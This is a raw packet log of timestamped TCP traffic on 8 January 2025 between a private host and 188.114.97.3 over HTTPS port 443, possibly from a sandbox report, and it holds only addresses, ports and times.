Jan 8, 2025 15:45:42.721205950 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.721266985 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.721271992 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.763772011 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.778091908 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.778505087 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.778521061 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.778911114 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.779227972 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.779405117 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.779771090 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.803833008 CET	443	49894	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.804162025 CET	49894	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.804174900 CET	443	49894	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.804696083 CET	443	49894	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.805073023 CET	49894	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.805182934 CET	443	49894	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.805367947 CET	49894	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.827321053 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.851329088 CET	443	49894	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.862147093 CET	443	49895	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.862416983 CET	49895	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.862426996 CET	443	49895	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.863511086 CET	443	49895	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.863574028 CET	49895	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.863919973 CET	49895	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.863934994 CET	49895	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.863991022 CET	443	49895	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.864064932 CET	49895	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.864075899 CET	443	49895	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.864088058 CET	49895	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.864125967 CET	49895	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.864459991 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.864526987 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.864557028 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.864561081 CET	49896	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.864577055 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.864587069 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.864597082 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.864604950 CET	443	49896	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.864618063 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.864661932 CET	49896	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.865156889 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.865186930 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.865204096 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.865215063 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.865256071 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.865261078 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.865397930 CET	49896	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.865413904 CET	443	49896	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.869033098 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.869061947 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.869087934 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.869096041 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.869107962 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.869126081 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.923346043 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.925734997 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.925776958 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.925802946 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.925826073 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.925837040 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.925869942 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.925877094 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.925884008 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.925924063 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.925936937 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.925951004 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.925990105 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.925997019 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.926413059 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.926462889 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.926465988 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.926475048 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.926774025 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.930389881 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.951168060 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.951230049 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.951268911 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.951291084 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.951297998 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.951309919 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.951344013 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.951431990 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.951473951 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.951483965 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.952028990 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.952088118 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.952094078 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.952148914 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.952182055 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.952189922 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.952198982 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.952261925 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.952290058 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.952296019 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.952334881 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.953002930 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.953069925 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.953100920 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.953107119 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.953111887 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.953151941 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.953175068 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.953180075 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.953221083 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.953947067 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.953990936 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.954015970 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.954027891 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.954034090 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:42.954070091 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:42.971324921 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.012345076 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.012408018 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.012439013 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.012463093 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.012474060 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.012512922 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.012940884 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.013439894 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.013470888 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.013482094 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.013489962 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.013530970 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.013730049 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.014151096 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.014178991 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.014209032 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.014216900 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.014285088 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.014292002 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.014745951 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.014795065 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.014802933 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.015247107 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.015278101 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.015305042 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.015316963 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.015355110 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.015361071 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.015788078 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.015832901 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.015840054 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.037869930 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.037944078 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.037978888 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.038034916 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.038068056 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.038116932 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.038341045 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.038389921 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.038722038 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.038781881 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.038791895 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.038829088 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.038834095 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.038839102 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.038867950 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.039423943 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.039465904 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.039484978 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.039489985 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.039518118 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.039520025 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.039568901 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.039573908 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.039611101 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.039638042 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.039680958 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.039793968 CET	49892	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.039808989 CET	443	49892	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.067337036 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.099129915 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.099195004 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.099221945 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.099256039 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.099392891 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.099392891 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.099404097 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.099657059 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.099689960 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.099708080 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.099718094 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.099737883 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.099764109 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.100506067 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.100548029 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.100581884 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.100594044 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.100600958 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.100627899 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.100651979 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.101385117 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.101429939 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.101449013 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.101455927 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.101480007 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.101484060 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.101496935 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.101502895 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.101525068 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.102335930 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.102371931 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.102387905 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.102396011 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.102413893 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.102427006 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.102463007 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.102468967 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.102509022 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.103187084 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.103241920 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.192166090 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.192217112 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.192254066 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.192281961 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.192343950 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.192528009 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.192528009 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.192543030 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.192558050 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.192601919 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.192605972 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.192614079 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.192651987 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.192681074 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.192728996 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.192749023 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.192801952 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.193434954 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.193486929 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.193486929 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.193499088 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.193521023 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.193581104 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.193613052 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.193619013 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.193628073 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.193660975 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.193671942 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.193680048 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.193712950 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.194484949 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.194520950 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.194541931 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.194546938 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.194561005 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.194576979 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.194624901 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.194663048 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.194674015 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.194713116 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.195372105 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.195421934 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.195442915 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.195481062 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.195512056 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.195552111 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.195600033 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.195637941 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.196347952 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.196377039 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.196392059 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.196398020 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.196422100 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.196438074 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.196501017 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.196537971 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.272800922 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.272842884 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.272923946 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.272933006 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.272960901 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.272980928 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.273071051 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.273118019 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.273179054 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.273226023 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.273423910 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.273459911 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.273475885 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.273482084 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.273500919 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.273807049 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.273822069 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.273857117 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.273863077 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.273886919 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.274168968 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.274183035 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.274229050 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.274231911 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.274245024 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.274292946 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.274297953 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.274344921 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.274383068 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.274542093 CET	49893	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.274553061 CET	443	49893	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.298616886 CET	443	49894	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.298712015 CET	443	49894	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.298755884 CET	49894	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.299248934 CET	49894	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.299264908 CET	443	49894	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.302028894 CET	49897	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.302064896 CET	443	49897	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.302129984 CET	49897	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.302439928 CET	49897	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.302459002 CET	443	49897	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.337670088 CET	443	49896	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.337954044 CET	49896	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.337970018 CET	443	49896	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.338313103 CET	443	49896	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.338630915 CET	49896	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.338706017 CET	443	49896	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.338771105 CET	49896	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.379329920 CET	443	49896	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.534002066 CET	443	49896	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.534086943 CET	443	49896	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.534161091 CET	49896	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.535293102 CET	49896	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.535310984 CET	443	49896	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.538621902 CET	49898	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.538650990 CET	443	49898	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.538722038 CET	49898	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.539057970 CET	49898	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.539072037 CET	443	49898	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.757033110 CET	443	49897	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.757905960 CET	49897	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.757937908 CET	443	49897	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.759030104 CET	443	49897	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.759119987 CET	49897	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.786947966 CET	49897	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.786993027 CET	49897	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.787039042 CET	49897	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.787130117 CET	443	49897	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:43.787197113 CET	49897	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.787398100 CET	49899	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:43.787432909 CET	443	49899	188.114.97.3	192.168.2.16
